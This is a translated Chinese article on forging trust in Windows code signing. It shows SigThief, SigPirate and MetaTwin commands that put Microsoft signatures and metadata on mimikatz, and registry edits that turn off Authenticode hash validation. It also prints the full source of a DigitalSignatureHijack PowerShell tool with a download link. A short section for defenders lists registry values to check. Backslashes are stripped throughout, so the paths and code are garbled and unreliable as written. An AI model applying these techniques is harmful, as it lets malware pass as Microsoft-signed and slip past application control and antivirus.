劫持數字簽名與Powershell自動化過程

譯者:牧野之鷹

預估稿費:260RMB

投稿方式:發送郵件至linwei#360.cn,或登陸網頁版在線投稿

前言


開發人員通常會對其代碼進行簽名,以便向用戶保證他們的軟體是可信的,而且沒有被惡意修改。 這都通過使用數字簽名來完成的。 因此,簽名代碼是一種驗證文件的真實性和完整性的方法。

安全人員與藍隊通常會檢查二進位數字簽名,以便執行初始檢查,並確定是否應將其視為可疑文件。 諸如AppLocker和Device Guard之類的Microsoft防護技術支持一些特殊規則的使用,比如僅允許來自受信任的發布者的可執行文件和PowerShell腳本,並且這些文件想要在系統上運行必須有數字簽名。 該驗證通過使用證書來實現。

你可以通過PowerShell調用Get-AuthenticodeSignature或Sysinternals工具包中的的SigCheck程序來進行數字簽名的驗證。

馬特·格雷伯在DerbyCon 2017的主題演講中描述了如何通過執行簽名驗證攻擊來執行系統上被設備保護策略鎖定的的未簽名代碼。

數字證書


在現代Windows操作系統中,代碼簽名技術用於幫助用戶識別來自不可信源的可信二進位文件。二進位文件通過使用數字證書進行簽名,數字證書包含有關發布者,嵌入的私鑰和公鑰的信息。

authenticode簽名可用於將簽名的PowerShell腳本和二進位文件與未簽名的文件分開。

但是通過複製已經被簽名過的PowerShell腳本的簽名塊,然後將其應用到尚未簽名的PowerShell腳本中,我們就可以輕鬆劫持PowerShell腳本的證書。 下面的這個腳本是Windows系統的一部分,並已具有Microsoft簽名。

註冊表中的CryptSIPDllGetSignedDataMsg表項包含處理默認PowerShell SIP(pwrshsip.dll)和本機PowerShell腳本數字簽名的註冊表項:

HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg{603BCC1F-4B59-4E08-B724-D2C6297EF351}n

我們需要用自定義的SIP和GetLegitMSSignature函數來替換該密鑰原本的DLL鍵和FuncName鍵的值。馬特·格雷伯創建了一個自定義的SIP(Subject Interface Package),我們可以將其編譯,然後用它讓未簽名的PowerShell腳本獲得合法的Microsoft簽名。 這個DLL的編譯版本可以在GitHub上找到。替換後如下:

DLL - C:UsersUserMySIP.dllnFuncName - GetLegitMSSignaturen

替換之後,合法的數字簽名就可以應用於腳本了,我們可以在PowerShell控制台上再次調用Get-AuthenticodeSignature模塊來驗證一下。

可以看到,雖然簽名有了,數字簽名的驗證卻會失敗,因為authenticode哈希不匹配。

除此之外,我們還可以使用各種工具來劫持可信任二進位文件的證書,然後將其用於非法的二進位文件。

SigThief:

python sigthief.py -i consent.exe -t mimikatz.exe -o signed-mimikatz.exe

SigPirate:

SigPirate.exe -s consent.exe -d mimikatz.exe -o katz.exe -a

上圖中的Consent.exe文件本身是Windows操作系統的一部分,因此它有Microsoft的數字簽名。經過一番操作,下面這個二進位文件已經有了微軟的數字簽名。

但是,和前面一樣,數字簽名驗證將無法通過。

繞過簽名驗證


Authenticode是一種Microsoft代碼簽名技術,藍隊可以使用該技術通過數字證書來識別發布者的身份,並驗證二進位文件因為經過了數字簽名哈希驗證而未被篡改。

所以即使可信證書被盜用於惡意二進位文件,但不能通過數字簽名驗證,因為authenticode哈希不匹配。 而無效的authenticode哈希表明,該二進位文件不合法。 實際操作中,針對這種盜用可信證書的二進位文件,如果從PowerShell控制台執行Get-AuthenticodeSignature對其進行驗證,將產生HashMismatch(哈希不匹配)錯誤。

這是因為可執行代碼由數字證書的私鑰簽名。 公鑰被嵌入在證書本身中。 由於私鑰是未知的,攻擊者不能為非法二進位文件生成正確的哈希值,只能盜用其他文件的,因此驗證過程總是會失敗,因為哈希值不匹配。

所以,我們需要通過修改註冊表來削弱數字簽名驗證機制。馬特·格雷伯發現了散列驗證過程在註冊表中的位置以及執行的方式。 而CryptSIPDllVerifyIndirectData組件就是用來處理PowerShell腳本和PE文件的數字簽名驗證的。

數字簽名的哈希驗證就是通過以下註冊表鍵值執行的:

{603BCC1F-4B59-4E08-B724-D2C6297EF351} // Hash Validation for PowerShell Scriptsn{C689AAB8-8E78-11D0-8C47-00C04FC295EE} // Hash Validation for Portable Executablesn

這些鍵值存在於以下註冊表位置中:

HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{603BCC1F-4B59-4E08-B724-D2C6297EF351}nHKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}n

那怎麼做才能達到削弱簽名驗證機制的目的呢?這裡我們需要使用另一個合法的DLL文件來替換掉原來的鍵值表示的DLL,因為它應該已經使用相同的私鑰簽名。 另外,我們還需要將註冊表項原來的函數用一個名叫DbgUiContinue的函數替換掉,選這個函數是因為它也接受兩個參數,如原來的函數一樣。如果組件CryptSIPDllVerifyIndirectData成功,則返回TRUE。

修改後的鍵值如下:

DLL - C:WindowsSystem32ntdll.dll

FuncName - DbgUiContinue

重新啟動一個新的PowerShell進程就可以完成哈希驗證的繞過了。 惡意二進位文件將顯示簽名並具有有效的Microsoft簽名。

馬特·格雷伯最初發現了這種繞過方式,在他的文章《Subverting Trust in Windows》中有詳細的解釋。 他還發布了一個PowerShell腳本,可以用來自動化簽名驗證攻擊。

該腳本的目標就是修改執行PowerShell腳本和PE文件的數字簽名的哈希驗證的兩個註冊表項。

以下註冊表值將被自動修改為所需的值,以繞過散列驗證。

運行PowerShell腳本將開始繞過。

powershell.exe -noexit -file C:Python34SignatureVerificationAttack.ps1n

執行Get-AuthenticodeSignature PowerShell模塊將產生有效的數字簽名散列。

元數據


一些殺毒軟體公司依靠數字簽名和元數據來識別惡意文件。 因此,針對使用來自可信實體的有效證書和元數據的非合法二進位文件的病毒檢測率將會降低。

MetaTwin是基於PowerShell的腳本,可以將文件中的元數據自動複製到另一個二進位文件中。

PS C:metatwin> Import-Module .metatwin.ps1

PS C:metatwin> Invoke-MetaTwin -Source C:WindowsSystem32netcfgx.dll -Target .mimikatz.exe -Sign

最重要的是,它可以從Microsoft文件中竊取數字簽名,它使用SigThief來執行此任務。

最終的可執行文件將包含元數據細節和Microsoft的數字簽名。

我們可以通過檢查文件屬性中的詳細信息選項卡來驗證。

如果已經通過註冊表對系統進行了修改,繞過了數字簽名的哈希驗證,那麼惡意二進位文件將看起來像是被Microsoft這樣的可信實體簽名的。

結論


劫持合法的數字簽名並繞過Windows的哈希驗證機制可以被紅隊用於將惡意二進位文件和PowerShell腳本與本機操作系統文件混合,以逃避檢測並繞過設備防護。總結:

1.管理員訪問許可權是執行此攻擊所必需的

2.數字簽名的可執行文件不會出現在Autoruns默認視圖中

3.數字簽名代碼的病毒檢測率較低

藍隊可以執行以下兩個步驟,以快速確定系統上是否發生數字簽名劫持攻擊。

1.使用Get-AuthenticodeSignature驗證數字簽名哈希的有效性

2.查看以下註冊表項和值:

HKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg{603BCC1F-4B59-4E08-B724-D2C6297EF351}nDLL - C:WindowsSystem32WindowsPowerShellv1.0pwrshsip.dllnFuncName - PsGetSignaturenHKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllGetSignedDataMsg{C689AAB8-8E78-11D0-8C47-00C04FC295EE}nDLL - C:WindowsSystem32ntdll.dllnFuncName - CryptSIPGetSignedDataMsgnHKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{603BCC1F-4B59-4E08-B724-D2C6297EF351}nDLL - C:WindowsSystem32WindowsPowerShellv1.0pwrshsip.dllnFuncName - PsVerifyHashnHKLMSOFTWAREMicrosoftCryptographyOIDEncodingType 0CryptSIPDllVerifyIndirectData{C689AAB8-8E78-11D0-8C47-00C04FC295EE}nDLL - C:WindowsSystem32WINTRUST.DLLnFuncName - CryptSIPVerifyIndirectDatan

Powershell自動化過程


一般信息

DigitalSignatureHijack基於PowerShell,可以從具有管理員許可權的PowerShell控制台執行。 設計想法是通過只執行四個命令來快速地對PowerShell腳本和PE文件進行數字簽名。

命令

該腳本接受以下命令:

SignExe - 給PE文件簽名

SignPS - 給PowerShell腳本簽名

ValidateSignaturePE - PE文件的簽名驗證

ValidateSignaturePS - PowerShell腳本的簽名驗證

依賴

DigitalSignature-Hijack依賴馬特·格雷伯開發的自定義SIP(Subject Interface Package)dll文件。 因此,需要將其存儲在目標系統的某個位置,並且需要使用該DLL文件的新位置來更新腳本,否則註冊表劫持將不起作用。

編譯版本的MySIP.dll

MySIP DLL的源代碼

演示

以下是可用於對主機上存在的所有PowerShell腳本和PE文件進行數字簽名的命令。

要簽署的二進位文件

Mimikatz為人們所熟知。它不是Windows的一部分,也不是由微軟數字簽名的。

SignExe命令將會為Mimikatz提供一個Microsoft證書。

簽名驗證:

劫持合法證書將產生哈希不匹配錯誤,導致數字簽名將無法通過驗證。

執行ValidateSignaturePE命令將準確的驗證存儲在系統上的所有PE文件的數字簽名。

簽名PowerShell腳本

DigitalSignature-Hijack PowerShell腳本沒有簽名。 因此,在開啟了設備保護UMCI(User Mode Code Integrity:用戶模式代碼完整性)的情況下,需要對其進行簽名。

執行SignPS命令將為Microsoft PowerShell腳本提供一個Microsoft證書。

簽名驗證:

與PE文件一樣,Microsoft也正在對PowerShell腳本的數字簽名進行驗證。

執行ValidateSignaturePS命令將繞過驗證,因此數字簽名將顯示為有效。

下載

DigitalSignatureHijack腳本可以在以下地址下載:

Digital Signature Hijack Public Gist

github.com/netbiosX/Dig

源碼

<#nDigitalSignatureHijack v1.0nLicense: GPLv3nAuthor: @netbiosXn#>n n# Validate Digital Signature for PowerShell Scriptsn nfunction ValidateSignaturePSn{n$ValidateHashFunc = HKLM:SOFTWAREMicrosoftCryptography +OIDEncodingType 0CryptSIPDllVerifyIndirectDatan n# PowerShell SIP Guidn n$PSIPGuid = {603BCC1F-4B59-4E08-B724-D2C6297EF351}n n$PSSignatureValidation = Get-Item -Path "$ValidateHashFunc$PSIPGuid"n n$NewDll = C:UsersUserDesktopSignature SigningBinariesMySIP.dlln$NewFuncName = AutoApproveHashn n$PSSignatureValidation | Set-ItemProperty -Name Dll -Value $NewDlln$PSSignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncNamen}n n# Validate Digital Signature for Portable Executablesn nfunction ValidateSignaturePEn{n$ValidateHashFunc = HKLM:SOFTWAREMicrosoftCryptography +OIDEncodingType 0CryptSIPDllVerifyIndirectDatan n# PE SIP Guidn n$PESIPGuid = {C689AAB8-8E78-11D0-8C47-00C04FC295EE}n n$PESignatureValidation = Get-Item -Path "$ValidateHashFunc$PESIPGuid"n n$NewDll = C:WindowsSystem32ntdll.dlln$NewFuncName = DbgUiContinuen n$PESignatureValidation | Set-ItemProperty -Name Dll -Value $NewDlln$PESignatureValidation | Set-ItemProperty -Name FuncName -Value $NewFuncNamen}n n# Sign PowerShell Scripts with a Microsoft Certificaten nfunction SignPSn{n$GetCertFunc = HKLM:SOFTWAREMicrosoftCryptography +OIDEncodingType 0CryptSIPDllGetSignedDataMsgn n# PowerShell SIP Guidn n$PSIPGuid = {603BCC1F-4B59-4E08-B724-D2C6297EF351}n n$PEGetMSCert = Get-Item -Path "$GetCertFunc$PSIPGuid"n n$NewDll = C:UsersUserDesktopSignature SigningBinariesMySIP.dlln$NewFuncName = GetLegitMSSignaturen n$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDlln$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncNamen}n n# Sign Portable Executables with a Microsoft Certificaten nfunction SignExen{n$GetCertFunc = HKLM:SOFTWAREMicrosoftCryptography +OIDEncodingType 0CryptSIPDllGetSignedDataMsgn n# PE SIP Guidn n$PESIPGuid = {C689AAB8-8E78-11D0-8C47-00C04FC295EE}n n$PEGetMSCert = Get-Item -Path "$GetCertFunc$PESIPGuid"n n$NewDll = C:UsersUserDesktopSignature SigningBinariesMySIP.dlln$NewFuncName = GetLegitMSSignaturen n$PEGetMSCert | Set-ItemProperty -Name Dll -Value $NewDlln$PEGetMSCert | Set-ItemProperty -Name FuncName -Value $NewFuncNamen

參考


1.github.com/secretsquirr

2.github.com/xorrior/Rand

3.specterops.io/assets/re

4.github.com/minisllc/met

5.github.com/mattifestati

6.github.com/netbiosX/Dig

7.github.com/mstefanowich

8.exploit-monday.com/2017

9.gist.github.com/mattife

10.docs.microsoft.com/en-u


推薦閱讀:

重訪黑客
未來屬於演算法,而不是代碼!
還在用著5年前的cpu和顯卡,是一種什麼感受?
熊寫代碼這三年:閱讀寫作與技術成長

TAG:网络安全 | 代码 |